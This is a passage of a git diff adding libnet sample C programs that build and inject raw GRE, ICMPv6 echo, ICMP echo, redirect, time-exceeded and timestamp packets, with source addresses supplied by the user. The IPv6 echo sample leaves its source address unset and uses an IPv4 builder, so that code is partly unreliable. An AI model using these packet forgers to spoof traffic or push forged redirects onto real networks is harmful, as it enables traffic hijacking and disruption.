+ libnet_geterror(l));
+ goto bad;
+ }
+ /*
+ * Write it to the wire.
+ */
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte GRE packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
diff --git a/libnet/sample/icmp6_echoreq.c b/libnet/sample/icmp6_echoreq.c
new file mode 100644
index 0000000..d874372
--- /dev/null
+++ b/libnet/sample/icmp6_echoreq.c
@@ -0,0 +1,184 @@
+/*
+ * $Id: icmp6_echoreq.c,v 1.1.1.1 2003/06/26 21:55:10 route Exp $
+ *
+ * Poseidon++ (c) 1996 - 2002 Mike D. Schiffman <mike@infonexus.com>
+ * Redone from synflood example by Stefan Schlott <stefan@ploing.de>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv6_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ struct libnet_in6_addr dst_ip;
+ struct libnet_in6_addr src_ip;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, c, packet_amt, burst_int, burst_amt, build_ip;
+ char srcname[100],dstname[100];
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+
+ printf("libnet 1.1 echo request ICMP6[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW6, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ if (!(cp = strrchr(optarg, '/')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ dst_ip = libnet_name2addr6(l, optarg, 1);
+ if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
+ {
+ fprintf(stderr, "Bad IP6 address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+
+ libnet_seed_prand(l);
+ libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
+ libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
+
+ for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ char payload[56];
+ int i;
+ for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
+ t = libnet_build_icmpv4_echo(ICMP6_ECHO,0,0,1,0,payload,sizeof(payload),l,t);
+
+ if (build_ip)
+ {
+ build_ip = 0;
+ libnet_build_ipv6(0,0,
+ LIBNET_ICMPV6_H + sizeof(payload),
+ IPPROTO_ICMP6,
+ 64,
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ 0);
+ }
+ printf("%15s/%5d -> %15s/%5d\n",
+ srcname,
+ ntohs(src_prt),
+ dstname,
+ dst_prt);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/icmp_echo_cq.c b/libnet/sample/icmp_echo_cq.c
new file mode 100644
index 0000000..0eaa61d
--- /dev/null
+++ b/libnet/sample/icmp_echo_cq.c
@@ -0,0 +1,201 @@
+/*
+ * $Id: icmp_echo_cq.c,v 1.3 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build ICMP_ECHO packets using the context queue interface.
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+void usage(char *);
+
+
+int
+main(int argc, char **argv)
+{
+ libnet_t *l = NULL;
+ u_long src_ip = 0, dst_ip = 0;
+ u_long count = 10;
+ int i, c;
+ libnet_ptag_t t;
+ char *payload = NULL;
+ u_short payload_s = 0;
+
+ char *device = NULL;
+ char *pDst = NULL, *pSrc = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ char label[LIBNET_LABEL_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP[RAW using context queue]\n");
+
+ while((c = getopt(argc, argv, "d:s:i:c:p:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ pDst = optarg;
+ break;
+ case 's':
+ pSrc = optarg;
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 'c':
+ count = strtoul(optarg, 0, 10);
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ }
+ }
+
+ if (!pSrc || !pDst)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Fill the context queue with "count" packets, each with their own
+ * context.
+ */
+ for (i = 0; i < count; i++)
+ {
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ /* we should run through the queue and free any stragglers */
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ /*
+ * Since we need a libnet context for address resolution it is
+ * necessary to put this inside the loop.
+ */
+ if (!dst_ip && (dst_ip = libnet_name2addr4(l, pDst,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", pDst);
+ exit(1);
+ }
+ if (!src_ip && (src_ip = libnet_name2addr4(l, pSrc,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", pSrc);
+ exit(1);
+ }
+
+ t = libnet_build_icmpv4_echo(
+ ICMP_ECHO, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 0x42, /* id */
+ 0x42, /* sequence number */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_s, /* length */
+ 0, /* TOS */
+ 0x42, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* and finally, put it in the context queue */
+ snprintf(label, sizeof(label)-1, "echo %d", i);
+ if (libnet_cq_add(l, label) == -1)
+ {
+ fprintf(stderr, "add error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ for_each_context_in_cq(l)
+ {
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ }
+
+ libnet_cq_destroy();
+ return (EXIT_SUCCESS);
+bad:
+ libnet_cq_destroy();
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip"
+ " [-i iface] [-c count = 10]\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_redirect.c b/libnet/sample/icmp_redirect.c
new file mode 100644
index 0000000..92d13c0
--- /dev/null
+++ b/libnet/sample/icmp_redirect.c
@@ -0,0 +1,200 @@
+/*
+ * $Id: icmp_redirect.c,v 1.3 2004/03/16 18:40:58 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP redirect packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2003 Alberto Ornaghi <alor@antifork.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src_ip, dst_ip, gw_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP redirect[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ gw_ip = 0;
+ while((c = getopt(argc, argv, "d:s:g:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'g':
+ if ((gw_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad gateway IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip || !gw_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0x42, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ dst_ip, /* source IP */
+ src_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build error IP header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_icmpv4_redirect(
+ ICMP_REDIRECT, /* type */
+ ICMP_REDIRECT_HOST, /* code */
+ 0, /* checksum */
+ gw_ip,
+ NULL,
+ 0,
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0xee, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip -g gateway_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_timeexceed.c b/libnet/sample/icmp_timeexceed.c
new file mode 100644
index 0000000..ef372a0
--- /dev/null
+++ b/libnet/sample/icmp_timeexceed.c
@@ -0,0 +1,190 @@
+/*
+ * $Id: icmp_timeexceed.c,v 1.3 2004/03/16 18:40:58 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP timeexceed packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src_ip, dst_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP timeexceed[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ while((c = getopt(argc, argv, "d:s:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0xee, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ dst_ip, /* source IP */
+ src_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build error IP header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_icmpv4_timeexceed(
+ ICMP_TIMXCEED, /* type */
+ ICMP_TIMXCEED_INTRANS, /* code */
+ 0, /* checksum */
+ NULL,
+ 0,
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_TIMXCEED_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0xee, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_timestamp.c b/libnet/sample/icmp_timestamp.c
new file mode 100644
index 0000000..c536020
--- /dev/null
+++ b/libnet/sample/icmp_timestamp.c
@@ -0,0 +1,157 @@
+/*
+ * $Id: icmp_timestamp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP_TSTAMP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP timestamp[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ while((c = getopt(argc, argv, "d:s:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_icmpv4_timestamp(
+ ICMP_TSTAMP, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 242, /* id */
+ 424, /* sequence number */
+ 1000, /* otime */
+ 2000, /* rtime */
+ 3000, /* ttime */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_unreach.c b/libnet/sample/icmp_unreach.c
new file mode 100644
index 0000000..a9ac22a
--- /dev/null
+++ b/libnet/sample/icmp_unreach.c
@@ -0,0 +1,204 @@
+/*
+ * $Id: icmp_unreach.c,v 1.4 2004/03/16 18:40:59 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP unreachable packet
+ *
+ * Hacked by Frederic Raynal <pappy@security-labs.org> to illustrate
